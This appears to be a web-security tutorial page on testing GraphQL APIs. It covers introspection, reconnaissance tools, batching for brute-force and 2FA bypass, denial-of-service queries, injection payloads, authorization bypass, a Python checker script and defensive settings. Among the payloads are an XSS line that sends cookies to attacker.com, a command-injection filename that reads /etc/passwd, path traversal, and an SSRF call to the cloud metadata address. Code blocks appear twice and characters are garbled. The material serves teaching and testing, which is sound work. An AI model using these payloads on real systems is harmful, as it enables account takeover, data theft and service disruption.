Exploitation A03

GraphQL Security Testing

GraphQL provides powerful query capabilities, but its flexibility introduces unique security challenges including schema exposure, batching abuse, and complex injection vectors.

Information

GraphQL endpoints often expose more data than intended. Start with introspection to understand the entire attack surface before testing specific vulnerabilities.

๐Ÿ“š Quick Navigation

๐Ÿ” Reconnaissance

โšก Exploitation

๐Ÿ”“ Authorization

๐Ÿงช Practice

Introspection Queries

Introspection allows clients to query the GraphQL schema itself. If enabled in production, it exposes the entire API structure including hidden fields, mutations, and types.

introspection.graphql
graphql
# GraphQL Introspection Query

# Full introspection query to dump entire schema
{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
        args {
          name
          type {
            name
          }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

# Simplified version for quick check
{
  __schema {
    queryType { name }
  }
}

# Get all types with their fields
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Get a specific type's details
{
  __type(name: "User") {
    name
    fields {
      name
      type {
        name
      }
    }
  }
}
# GraphQL Introspection Query

# Full introspection query to dump entire schema
{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
        args {
          name
          type {
            name
          }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

# Simplified version for quick check
{
  __schema {
    queryType { name }
  }
}

# Get all types with their fields
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Get a specific type's details
{
  __type(name: "User") {
    name
    fields {
      name
      type {
        name
      }
    }
  }
}

Warning

Even if introspection is disabled, tools like Clairvoyance can often reconstruct the schema through error messages and field suggestions.

GraphQL Reconnaissance Tools

graphql-recon.sh
bash
# GraphQL Reconnaissance Tools

# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql

# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/

# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql

# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json

# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f id
# GraphQL Reconnaissance Tools

# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql

# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/

# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql

# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json

# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f id

Batching Attacks

GraphQL allows multiple queries in a single request. This can bypass rate limits designed for per-request throttling, enabling brute force attacks.

batching-attacks.graphql
graphql
# GraphQL Batching Attacks

# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass

# Batch login attempts (bypasses per-request rate limits)
[
  {
    "query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
  }
]

# Alias-based Batching (same query, different aliases)
query {
  attempt1: login(email: "user@test.com", password: "password1") { token }
  attempt2: login(email: "user@test.com", password: "password2") { token }
  attempt3: login(email: "user@test.com", password: "password3") { token }
  attempt4: login(email: "user@test.com", password: "password4") { token }
  attempt5: login(email: "user@test.com", password: "password5") { token }
}

# 2FA Bypass via Batching
query {
  a: verify2FA(code: "000001") { success }
  b: verify2FA(code: "000002") { success }
  c: verify2FA(code: "000003") { success }
  # ... up to 999999
}

# Mass Data Extraction
query {
  user1: user(id: 1) { email password_hash }
  user2: user(id: 2) { email password_hash }
  user3: user(id: 3) { email password_hash }
  # ... enumerate all users
}
# GraphQL Batching Attacks

# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass

# Batch login attempts (bypasses per-request rate limits)
[
  {
    "query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
  }
]

# Alias-based Batching (same query, different aliases)
query {
  attempt1: login(email: "user@test.com", password: "password1") { token }
  attempt2: login(email: "user@test.com", password: "password2") { token }
  attempt3: login(email: "user@test.com", password: "password3") { token }
  attempt4: login(email: "user@test.com", password: "password4") { token }
  attempt5: login(email: "user@test.com", password: "password5") { token }
}

# 2FA Bypass via Batching
query {
  a: verify2FA(code: "000001") { success }
  b: verify2FA(code: "000002") { success }
  c: verify2FA(code: "000003") { success }
  # ... up to 999999
}

# Mass Data Extraction
query {
  user1: user(id: 1) { email password_hash }
  user2: user(id: 2) { email password_hash }
  user3: user(id: 3) { email password_hash }
  # ... enumerate all users
}

Batching Attack Use Cases

Rate Limit Bypass

Send thousands of login attempts in one request to bypass per-request rate limits.

2FA Brute Force

Try all possible 6-digit OTP codes (000000-999999) in batched requests.

Mass Enumeration

Extract data for thousands of user IDs in a single batched query.

Race Conditions

Execute multiple mutations atomically to trigger TOCTOU vulnerabilities.

Denial of Service Attacks

GraphQL's nested query structure can be abused to create exponentially complex queries that consume excessive server resources.

dos-attacks.graphql
graphql
# GraphQL Denial of Service Attacks

# Deeply Nested Query (DoS via complexity)
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                name
                email
              }
            }
          }
        }
      }
    }
  }
}

# Circular Fragment (infinite recursion)
query {
  user(id: 1) {
    ...UserFragment
  }
}

fragment UserFragment on User {
  friends {
    ...UserFragment
  }
}

# Large Field Expansion
query {
  allUsers(first: 10000) {
    edges {
      node {
        posts(first: 10000) {
          edges {
            node {
              comments(first: 10000) {
                edges {
                  node {
                    content
                    author { name email }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

# Field Duplication
query {
  user(id: 1) {
    name
    name
    name
    # repeat thousands of times
  }
}

# Resource Intensive Operations
query {
  expensiveSearch(
    query: "a",
    sortBy: "relevance",
    includeDeleted: true,
    deepSearch: true
  ) {
    results
  }
}
# GraphQL Denial of Service Attacks

# Deeply Nested Query (DoS via complexity)
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                name
                email
              }
            }
          }
        }
      }
    }
  }
}

# Circular Fragment (infinite recursion)
query {
  user(id: 1) {
    ...UserFragment
  }
}

fragment UserFragment on User {
  friends {
    ...UserFragment
  }
}

# Large Field Expansion
query {
  allUsers(first: 10000) {
    edges {
      node {
        posts(first: 10000) {
          edges {
            node {
              comments(first: 10000) {
                edges {
                  node {
                    content
                    author { name email }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

# Field Duplication
query {
  user(id: 1) {
    name
    name
    name
    # repeat thousands of times
  }
}

# Resource Intensive Operations
query {
  expensiveSearch(
    query: "a",
    sortBy: "relevance",
    includeDeleted: true,
    deepSearch: true
  ) {
    results
  }
}

Injection Attacks

GraphQL arguments are passed to backend resolvers. If not properly validated, they can lead to SQL injection, NoSQL injection, SSRF, and other attacks.

injection-attacks.graphql
graphql
# GraphQL Injection Attacks

# SQL Injection via GraphQL Arguments
query {
  users(filter: "name = 'admin' OR 1=1 --") {
    id
    name
    email
  }
}

# NoSQL Injection
query {
  user(id: "{\"$gt\":\"\"}") {
    email
    password_hash
  }
}

# OS Command Injection
mutation {
  generateReport(filename: "report.pdf; cat /etc/passwd") {
    url
  }
}

# SSRF via GraphQL
mutation {
  importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

# Path Traversal
query {
  getFile(path: "../../../etc/passwd") {
    content
  }
}

# XSS via GraphQL Mutation
mutation {
  updateProfile(
    bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
  ) {
    success
  }
}
# GraphQL Injection Attacks

# SQL Injection via GraphQL Arguments
query {
  users(filter: "name = 'admin' OR 1=1 --") {
    id
    name
    email
  }
}

# NoSQL Injection
query {
  user(id: "{\"$gt\":\"\"}") {
    email
    password_hash
  }
}

# OS Command Injection
mutation {
  generateReport(filename: "report.pdf; cat /etc/passwd") {
    url
  }
}

# SSRF via GraphQL
mutation {
  importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

# Path Traversal
query {
  getFile(path: "../../../etc/passwd") {
    content
  }
}

# XSS via GraphQL Mutation
mutation {
  updateProfile(
    bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
  ) {
    success
  }
}

Authorization Bypass

GraphQL APIs often have inconsistent authorization checks. Fields accessible through different query paths may have different protection levels.

authz-bypass.graphql
graphql
# GraphQL Authorization Bypass

# IDOR via GraphQL
# If you can access your user:
query {
  user(id: 123) {  # Your ID
    email
    address
    credit_cards { number }
  }
}

# Try other user IDs:
query {
  user(id: 124) {  # Someone else's ID
    email
    address
    credit_cards { number }
  }
}

# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
  me {
    name
    email
    isAdmin           # Should be hidden
    hashedPassword    # Should be hidden
    creditCards {     # Should require additional auth
      number
      cvv
    }
  }
}

# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
  deleteUser(id: 1) {
    success
  }
}

mutation {
  promoteToAdmin(userId: 123) {
    success
  }
}

# Accessing Internal/Debug Queries
query {
  _debug { logs }
  _internal { systemInfo }
  _admin { allUsers { password_hash } }
}

# Subscription-based Data Leakage
subscription {
  onNewUser {
    id
    email
    password  # Leaked on every new registration
  }
}
# GraphQL Authorization Bypass

# IDOR via GraphQL
# If you can access your user:
query {
  user(id: 123) {  # Your ID
    email
    address
    credit_cards { number }
  }
}

# Try other user IDs:
query {
  user(id: 124) {  # Someone else's ID
    email
    address
    credit_cards { number }
  }
}

# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
  me {
    name
    email
    isAdmin           # Should be hidden
    hashedPassword    # Should be hidden
    creditCards {     # Should require additional auth
      number
      cvv
    }
  }
}

# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
  deleteUser(id: 1) {
    success
  }
}

mutation {
  promoteToAdmin(userId: 123) {
    success
  }
}

# Accessing Internal/Debug Queries
query {
  _debug { logs }
  _internal { systemInfo }
  _admin { allUsers { password_hash } }
}

# Subscription-based Data Leakage
subscription {
  onNewUser {
    id
    email
    password  # Leaked on every new registration
  }
}

Automated Testing Script

graphql_tester.py
python
#!/usr/bin/env python3
"""GraphQL Security Testing Script"""

import requests
import json
import sys

class GraphQLTester:
    def __init__(self, url, headers=None):
        self.url = url
        self.headers = headers or {'Content-Type': 'application/json'}
    
    def query(self, query, variables=None):
        """Execute a GraphQL query"""
        payload = {'query': query}
        if variables:
            payload['variables'] = variables
        
        response = requests.post(
            self.url,
            json=payload,
            headers=self.headers
        )
        return response.json()
    
    def test_introspection(self):
        """Test if introspection is enabled"""
        query = '''{ __schema { queryType { name } } }'''
        result = self.query(query)
        
        if 'data' in result and result['data'].get('__schema'):
            print("[VULN] Introspection is ENABLED")
            return True
        else:
            print("[SAFE] Introspection is disabled")
            return False
    
    def dump_schema(self):
        """Dump full schema if introspection enabled"""
        query = '''
        {
          __schema {
            types {
              name
              fields { name }
            }
          }
        }
        '''
        return self.query(query)
    
    def test_batching(self):
        """Test if query batching is allowed"""
        batch = [
            {'query': '{ __typename }'},
            {'query': '{ __typename }'}
        ]
        
        response = requests.post(
            self.url,
            json=batch,
            headers=self.headers
        )
        
        try:
            result = response.json()
            if isinstance(result, list) and len(result) == 2:
                print("[VULN] Query batching is ENABLED")
                return True
        except:
            pass
        
        print("[SAFE] Query batching appears disabled")
        return False
    
    def test_depth_limit(self, max_depth=20):
        """Test query depth limits"""
        nested = "{ __typename }"
        for i in range(max_depth):
            nested = "{ users " + nested + " }"
        
        result = self.query(nested)
        
        if 'errors' in result:
            print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
        else:
            print(f"[VULN] No depth limit (tested {max_depth} levels)")
    
    def test_field_suggestions(self):
        """Test if field suggestions leak schema info"""
        query = '{ user { doesnotexist } }'
        result = self.query(query)
        
        if 'errors' in result:
            error_msg = str(result['errors'])
            if 'Did you mean' in error_msg:
                print("[INFO] Field suggestions enabled (may leak schema)")
                return True
        
        print("[SAFE] No field suggestions")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
        sys.exit(1)
    
    tester = GraphQLTester(sys.argv[1])
    
    print("\n=== GraphQL Security Tests ===\n")
    tester.test_introspection()
    tester.test_batching()
    tester.test_depth_limit()
    tester.test_field_suggestions()
#!/usr/bin/env python3
"""GraphQL Security Testing Script"""

import requests
import json
import sys

class GraphQLTester:
    def __init__(self, url, headers=None):
        self.url = url
        self.headers = headers or {'Content-Type': 'application/json'}
    
    def query(self, query, variables=None):
        """Execute a GraphQL query"""
        payload = {'query': query}
        if variables:
            payload['variables'] = variables
        
        response = requests.post(
            self.url,
            json=payload,
            headers=self.headers
        )
        return response.json()
    
    def test_introspection(self):
        """Test if introspection is enabled"""
        query = '''{ __schema { queryType { name } } }'''
        result = self.query(query)
        
        if 'data' in result and result['data'].get('__schema'):
            print("[VULN] Introspection is ENABLED")
            return True
        else:
            print("[SAFE] Introspection is disabled")
            return False
    
    def dump_schema(self):
        """Dump full schema if introspection enabled"""
        query = '''
        {
          __schema {
            types {
              name
              fields { name }
            }
          }
        }
        '''
        return self.query(query)
    
    def test_batching(self):
        """Test if query batching is allowed"""
        batch = [
            {'query': '{ __typename }'},
            {'query': '{ __typename }'}
        ]
        
        response = requests.post(
            self.url,
            json=batch,
            headers=self.headers
        )
        
        try:
            result = response.json()
            if isinstance(result, list) and len(result) == 2:
                print("[VULN] Query batching is ENABLED")
                return True
        except:
            pass
        
        print("[SAFE] Query batching appears disabled")
        return False
    
    def test_depth_limit(self, max_depth=20):
        """Test query depth limits"""
        nested = "{ __typename }"
        for i in range(max_depth):
            nested = "{ users " + nested + " }"
        
        result = self.query(nested)
        
        if 'errors' in result:
            print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
        else:
            print(f"[VULN] No depth limit (tested {max_depth} levels)")
    
    def test_field_suggestions(self):
        """Test if field suggestions leak schema info"""
        query = '{ user { doesnotexist } }'
        result = self.query(query)
        
        if 'errors' in result:
            error_msg = str(result['errors'])
            if 'Did you mean' in error_msg:
                print("[INFO] Field suggestions enabled (may leak schema)")
                return True
        
        print("[SAFE] No field suggestions")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
        sys.exit(1)
    
    tester = GraphQLTester(sys.argv[1])
    
    print("\n=== GraphQL Security Tests ===\n")
    tester.test_introspection()
    tester.test_batching()
    tester.test_depth_limit()
    tester.test_field_suggestions()

Security Best Practices

graphql-defenses.js
javascript
# GraphQL Security Best Practices

# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
  introspection: process.env.NODE_ENV !== 'production',
});

# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';

const server = new ApolloServer({
  validationRules: [depthLimit(10)],
});

# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  onComplete: (complexity) => {
    console.log('Query Complexity:', complexity);
  },
});

# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately

# 5. Disable Query Batching if not needed
# Or limit batch size

# 6. Input Validation
# Sanitize all user inputs before using in resolvers

# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
  User: {
    email: (parent, args, context) => {
      if (!context.user.isAdmin && context.user.id !== parent.id) {
        throw new Error('Unauthorized');
      }
      return parent.email;
    },
  },
};

# 8. Disable Field Suggestions in Production
# Prevents schema enumeration
# GraphQL Security Best Practices

# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
  introspection: process.env.NODE_ENV !== 'production',
});

# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';

const server = new ApolloServer({
  validationRules: [depthLimit(10)],
});

# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  onComplete: (complexity) => {
    console.log('Query Complexity:', complexity);
  },
});

# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately

# 5. Disable Query Batching if not needed
# Or limit batch size

# 6. Input Validation
# Sanitize all user inputs before using in resolvers

# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
  User: {
    email: (parent, args, context) => {
      if (!context.user.isAdmin && context.user.id !== parent.id) {
        throw new Error('Unauthorized');
      }
      return parent.email;
    },
  },
};

# 8. Disable Field Suggestions in Production
# Prevents schema enumeration

Practice Labs

Testing Checklist

๐Ÿ” Reconnaissance

  • โ˜ Test introspection query
  • โ˜ Try field suggestions for schema leaks
  • โ˜ Run graphw00f fingerprinting
  • โ˜ Visualize schema with Voyager
  • โ˜ Identify sensitive fields/types

โšก Batching/DoS

  • โ˜ Test array-based batching
  • โ˜ Test alias-based batching
  • โ˜ Check depth limits
  • โ˜ Test query complexity limits
  • โ˜ Try circular fragments

๐Ÿ’‰ Injection

  • โ˜ SQL injection in arguments
  • โ˜ NoSQL injection
  • โ˜ SSRF in URL parameters
  • โ˜ OS command injection
  • โ˜ XSS in mutations

๐Ÿ”“ Authorization

  • โ˜ IDOR in query arguments
  • โ˜ Field-level authorization
  • โ˜ Mutation authorization
  • โ˜ Subscription data leakage
  • โ˜ Access hidden/internal queries